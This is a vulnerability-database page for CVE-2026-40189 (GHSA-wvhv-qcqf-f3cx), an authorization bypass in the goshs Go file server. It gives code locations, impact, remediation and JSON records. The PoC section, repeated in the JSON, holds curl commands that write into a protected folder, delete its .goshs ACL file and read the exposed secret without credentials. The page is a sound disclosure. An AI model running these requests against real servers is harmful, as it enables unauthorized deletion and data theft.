Vulnerability-Lookup

GHSA-WVHV-QCQF-F3CX

Vulnerability from github – Published: 2026-04-10 20:00 – Updated: 2026-04-15 21:06

Summary

goshs has a file-based ACL authorization bypass in goshs state-changing routes

Details

Summary

goshs enforces the documented per-folder .goshs ACL/basic-auth mechanism for directory listings and file reads, but it does not enforce the same authorization checks for state-changing routes. An unauthenticated attacker can upload files with PUT, upload files with multipart POST /upload, create directories with ?mkdir, and delete files with ?delete inside a .goshs-protected directory. By deleting the .goshs file itself, the attacker can remove the folder's auth policy and then access previously protected content without credentials. This results in a critical authorization bypass affecting confidentiality, integrity, and availability.

Details

The project README explicitly documents file-based ACLs as a security feature:

README.md:59 - "You can place a .goshs in any folder to apply custom ACLs"
README.md:61 - "You can apply custom basic auth per folder"

The read/list path correctly enforces .goshs:

httpserver/filebased.go:10-49 loads .goshs
httpserver/handler.go:68-91 calls findSpecialFile() for directories
httpserver/handler.go:94-101 calls findSpecialFile() for files
httpserver/handler.go:285-305 applies custom auth
httpserver/handler.go:545-565 enforces folder auth during directory rendering
httpserver/handler.go:590-630 enforces file auth and blocked entries during file serving

However, the state-changing routes bypass this logic entirely:

httpserver/server.go:94-100 routes multipart POST /.../upload directly to upload()
httpserver/server.go:105-109 routes PUT directly to put()
httpserver/handler.go:119-123 dispatches ?mkdir directly to handleMkdir()
httpserver/handler.go:181-187 dispatches ?delete directly to deleteFile()
httpserver/updown.go:18-60 writes files for PUT without checking .goshs
httpserver/updown.go:63-165 writes files for multipart upload without checking .goshs
httpserver/handler.go:679-698 deletes files with os.RemoveAll() without checking .goshs
httpserver/handler.go:901-937 creates directories with os.MkdirAll() without checking .goshs

This is not a path traversal issue. The path remains inside the configured root after sanitization. The vulnerability is that authorization is applied inconsistently: reads are protected, but writes and deletes are not. Because .goshs itself can be deleted through the unauthenticated delete route, the attacker can escalate the impact from unauthorized modification to full removal of the folder's auth barrier.

PoC

Environment used for verification:

Repository/module: github.com/patrickhener/goshs
Verified vulnerable tag: v2.0.0-beta.3
Also present in the v1.1.4 line based on code inspection
Local host: 127.0.0.1:18091

Build and setup:

cd '/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta3'
go build -o /tmp/goshs_acl_verify/goshs ./

rm -rf /tmp/goshs_acl_verify/root
mkdir -p /tmp/goshs_acl_verify/root/protected
cp integration/keepFiles/goshsACLAuth /tmp/goshs_acl_verify/root/protected/.goshs
printf 'top secret\n' > /tmp/goshs_acl_verify/root/protected/secret.txt

/tmp/goshs_acl_verify/goshs -d /tmp/goshs_acl_verify/root -p 18091

In a second terminal:

# The protected folder initially requires auth
curl -s -o /dev/null -w '%{http_code}\n' 'http://127.0.0.1:18091/protected/'

# Unauthenticated write into the protected folder succeeds
curl -s -o /dev/null -w '%{http_code}\n' -X PUT \
  --data-binary 'injected via PUT' \
  'http://127.0.0.1:18091/protected/put-created.txt'

# Unauthenticated deletion of the ACL file succeeds
curl -s -o /dev/null -w '%{http_code}\n' \
  'http://127.0.0.1:18091/protected/.goshs?delete'

# The previously protected file is now publicly accessible
curl -s -o /dev/null -w '%{http_code}\n' \
  'http://127.0.0.1:18091/protected/secret.txt'
curl -s 'http://127.0.0.1:18091/protected/secret.txt'

Expected results:

401
200
200
200
top secret

goshs_poc1

Note: if using zsh, the URL containing ?delete must be quoted, or the shell will treat ? as a wildcard and the request will not be sent.

PoC Video for reference:

https://github.com/user-attachments/assets/deb9106e-6dfa-47c0-95c1-993c2cbc9ee7

Impact

This is an authorization bypass affecting deployments that rely on .goshs for per-folder protection. A remote unauthenticated attacker can:

create or overwrite files inside a folder that should require authentication
create directories inside the protected folder
delete arbitrary files reachable through the vulnerable route inside that protected folder
delete the .goshs policy file itself
read previously protected files once the policy file has been removed

In practice, this breaks the security boundary promised by the file-based ACL feature and can expose sensitive files while also allowing unauthorized modification or destruction of protected content.

Remediation

Enforce .goshs authorization checks for all state-changing operations, not just read/list flows. Before PUT, multipart upload, delete, and mkdir, resolve the effective folder ACL and deny the request unless the caller satisfies acl.Auth.
Protect .goshs as a special file in mutation handlers. The application already prevents serving .goshs; it should also reject deletion, overwrite, or replacement of .goshs through HTTP routes unless the request is properly authorized.
Add regression tests covering protected folders for every mutation path. The test suite should verify that PUT, POST /upload, ?delete, and ?mkdir all fail without valid credentials when a .goshs file is present.

Severity ?

9.8 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9.3 (Critical)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/patrickhener/goshs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.1.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-40189"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-10T20:00:32Z",
    "nvd_published_at": "2026-04-10T20:16:23Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\ngoshs enforces the documented per-folder `.goshs` ACL/basic-auth mechanism for directory listings and file reads, but it does not enforce the same authorization checks for state-changing routes. An unauthenticated attacker can upload files with `PUT`, upload files with multipart `POST /upload`, create directories with `?mkdir`, and delete files with `?delete` inside a `.goshs`-protected directory. By deleting the `.goshs` file itself, the attacker can remove the folder\u0027s auth policy and then access previously protected content without credentials. This results in a critical authorization bypass affecting confidentiality, integrity, and availability.\n\n### Details\nThe project README explicitly documents file-based ACLs as a security feature:\n\n- `README.md:59` - \"You can place a .goshs in any folder to apply custom ACLs\"\n- `README.md:61` - \"You can apply custom basic auth per folder\"\n\nThe read/list path correctly enforces `.goshs`:\n\n- `httpserver/filebased.go:10-49` loads `.goshs`\n- `httpserver/handler.go:68-91` calls `findSpecialFile()` for directories\n- `httpserver/handler.go:94-101` calls `findSpecialFile()` for files\n- `httpserver/handler.go:285-305` applies custom auth\n- `httpserver/handler.go:545-565` enforces folder auth during directory rendering\n- `httpserver/handler.go:590-630` enforces file auth and blocked entries during file serving\n\nHowever, the state-changing routes bypass this logic entirely:\n\n- `httpserver/server.go:94-100` routes multipart `POST /.../upload` directly to `upload()`\n- `httpserver/server.go:105-109` routes `PUT` directly to `put()`\n- `httpserver/handler.go:119-123` dispatches `?mkdir` directly to `handleMkdir()`\n- `httpserver/handler.go:181-187` dispatches `?delete` directly to `deleteFile()`\n- `httpserver/updown.go:18-60` writes files for `PUT` without checking `.goshs`\n- `httpserver/updown.go:63-165` writes files for multipart upload without checking `.goshs`\n- `httpserver/handler.go:679-698` deletes files with `os.RemoveAll()` without checking `.goshs`\n- `httpserver/handler.go:901-937` creates directories with `os.MkdirAll()` without checking `.goshs`\n\nThis is not a path traversal issue. The path remains inside the configured root after sanitization. The vulnerability is that authorization is applied inconsistently: reads are protected, but writes and deletes are not. Because `.goshs` itself can be deleted through the unauthenticated delete route, the attacker can escalate the impact from unauthorized modification to full removal of the folder\u0027s auth barrier.\n\n### PoC\nEnvironment used for verification:\n\n- Repository/module: `github.com/patrickhener/goshs`\n- Verified vulnerable tag: `v2.0.0-beta.3`\n- Also present in the `v1.1.4` line based on code inspection\n- Local host: `127.0.0.1:18091`\n\nBuild and setup:\n\n```bash\ncd \u0027/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta3\u0027\ngo build -o /tmp/goshs_acl_verify/goshs ./\n\nrm -rf /tmp/goshs_acl_verify/root\nmkdir -p /tmp/goshs_acl_verify/root/protected\ncp integration/keepFiles/goshsACLAuth /tmp/goshs_acl_verify/root/protected/.goshs\nprintf \u0027top secret\\n\u0027 \u003e /tmp/goshs_acl_verify/root/protected/secret.txt\n\n/tmp/goshs_acl_verify/goshs -d /tmp/goshs_acl_verify/root -p 18091\n```\n\nIn a second terminal:\n\n```bash\n# The protected folder initially requires auth\ncurl -s -o /dev/null -w \u0027%{http_code}\\n\u0027 \u0027http://127.0.0.1:18091/protected/\u0027\n\n# Unauthenticated write into the protected folder succeeds\ncurl -s -o /dev/null -w \u0027%{http_code}\\n\u0027 -X PUT \\\n  --data-binary \u0027injected via PUT\u0027 \\\n  \u0027http://127.0.0.1:18091/protected/put-created.txt\u0027\n\n# Unauthenticated deletion of the ACL file succeeds\ncurl -s -o /dev/null -w \u0027%{http_code}\\n\u0027 \\\n  \u0027http://127.0.0.1:18091/protected/.goshs?delete\u0027\n\n# The previously protected file is now publicly accessible\ncurl -s -o /dev/null -w \u0027%{http_code}\\n\u0027 \\\n  \u0027http://127.0.0.1:18091/protected/secret.txt\u0027\ncurl -s \u0027http://127.0.0.1:18091/protected/secret.txt\u0027\n```\n\nExpected results:\n\n```text\n401\n200\n200\n200\ntop secret\n```\n\u003cimg width=\"1280\" height=\"657\" alt=\"goshs_poc1\" src=\"https://github.com/user-attachments/assets/37576067-fa90-44f6-8fe5-dcb7c96b9704\" /\u003e\n\n\nNote: if using `zsh`, the URL containing `?delete` must be quoted, or the shell will treat `?` as a wildcard and the request will not be sent.\n\nPoC Video for reference:\n\nhttps://github.com/user-attachments/assets/deb9106e-6dfa-47c0-95c1-993c2cbc9ee7\n\n\n### Impact\nThis is an authorization bypass affecting deployments that rely on `.goshs` for per-folder protection. A remote unauthenticated attacker can:\n\n- create or overwrite files inside a folder that should require authentication\n- create directories inside the protected folder\n- delete arbitrary files reachable through the vulnerable route inside that protected folder\n- delete the `.goshs` policy file itself\n- read previously protected files once the policy file has been removed\n\nIn practice, this breaks the security boundary promised by the file-based ACL feature and can expose sensitive files while also allowing unauthorized modification or destruction of protected content.\n\n### Remediation\n1. Enforce `.goshs` authorization checks for all state-changing operations, not just read/list flows. Before `PUT`, multipart upload, delete, and mkdir, resolve the effective folder ACL and deny the request unless the caller satisfies `acl.Auth`.\n2. Protect `.goshs` as a special file in mutation handlers. The application already prevents serving `.goshs`; it should also reject deletion, overwrite, or replacement of `.goshs` through HTTP routes unless the request is properly authorized.\n3. Add regression tests covering protected folders for every mutation path. The test suite should verify that `PUT`, `POST /upload`, `?delete`, and `?mkdir` all fail without valid credentials when a `.goshs` file is present.",
  "id": "GHSA-wvhv-qcqf-f3cx",
  "modified": "2026-04-15T21:06:24Z",
  "published": "2026-04-10T20:00:32Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/patrickhener/goshs/security/advisories/GHSA-wvhv-qcqf-f3cx"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40189"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patrickhener/goshs/commit/f212c4f4a126556bab008f79758e21a839ef2c0f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/patrickhener/goshs"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patrickhener/goshs/releases/tag/v2.0.0-beta.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "goshs has a file-based ACL authorization bypass in goshs state-changing routes"
}

CVE-2026-40189 (GCVE-0-2026-40189)

Vulnerability from cvelistv5 – Published: 2026-04-10 19:44 – Updated: 2026-04-13 20:53

Title

goshs has a file-based ACL authorization bypass in goshs state-changing routes

Summary

goshs is a SimpleHTTPServer written in Go. Prior to 2.0.0-beta.4, goshs enforces the documented per-folder .goshs ACL/basic-auth mechanism for directory listings and file reads, but it does not enforce the same authorization checks for state-changing routes. An unauthenticated attacker can upload files with PUT, upload files with multipart POST /upload, create directories with ?mkdir, and delete files with ?delete inside a .goshs-protected directory. By deleting the .goshs file itself, the attacker can remove the folder's auth policy and then access previously protected content without credentials. This results in a critical authorization bypass affecting confidentiality, integrity, and availability. This vulnerability is fixed in 2.0.0-beta.4.

Severity ?

9.3 (Critical)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

CWE

CWE-862 - Missing Authorization

Assigner

GitHub_M

References

URL

Tags

	https://github.com/patrickhener/goshs/security/ad…	x_refsource_CONFIRM
	https://github.com/patrickhener/goshs/commit/f212…	x_refsource_MISC
	https://github.com/patrickhener/goshs/releases/ta…	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	patrickhener	goshs	Affected: < 2.0.0-beta.4

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-40189",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-04-13T20:52:58.640099Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-04-13T20:53:02.400Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/patrickhener/goshs/security/advisories/GHSA-wvhv-qcqf-f3cx"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "goshs",
          "vendor": "patrickhener",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 2.0.0-beta.4"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "goshs is a SimpleHTTPServer written in Go. Prior to 2.0.0-beta.4, goshs enforces the documented per-folder .goshs ACL/basic-auth mechanism for directory listings and file reads, but it does not enforce the same authorization checks for state-changing routes. An unauthenticated attacker can upload files with PUT, upload files with multipart POST /upload, create directories with ?mkdir, and delete files with ?delete inside a .goshs-protected directory. By deleting the .goshs file itself, the attacker can remove the folder\u0027s auth policy and then access previously protected content without credentials. This results in a critical authorization bypass affecting confidentiality, integrity, and availability. This vulnerability is fixed in 2.0.0-beta.4."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 9.3,
            "baseSeverity": "CRITICAL",
            "privilegesRequired": "NONE",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "NONE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
            "version": "4.0",
            "vulnAvailabilityImpact": "HIGH",
            "vulnConfidentialityImpact": "HIGH",
            "vulnIntegrityImpact": "HIGH"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-862",
              "description": "CWE-862: Missing Authorization",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-04-10T19:44:54.672Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/patrickhener/goshs/security/advisories/GHSA-wvhv-qcqf-f3cx",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/patrickhener/goshs/security/advisories/GHSA-wvhv-qcqf-f3cx"
        },
        {
          "name": "https://github.com/patrickhener/goshs/commit/f212c4f4a126556bab008f79758e21a839ef2c0f",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/patrickhener/goshs/commit/f212c4f4a126556bab008f79758e21a839ef2c0f"
        },
        {
          "name": "https://github.com/patrickhener/goshs/releases/tag/v2.0.0-beta.4",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/patrickhener/goshs/releases/tag/v2.0.0-beta.4"
        }
      ],
      "source": {
        "advisory": "GHSA-wvhv-qcqf-f3cx",
        "discovery": "UNKNOWN"
      },
      "title": "goshs has a file-based ACL authorization bypass in goshs state-changing routes"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-40189",
    "datePublished": "2026-04-10T19:44:54.672Z",
    "dateReserved": "2026-04-09T20:59:17.620Z",
    "dateUpdated": "2026-04-13T20:53:02.400Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-WVHV-QCQF-F3CX

Summary

Details

PoC

Impact

Remediation

CVE-2026-40189 (GCVE-0-2026-40189)

Tags

Sightings

Nomenclature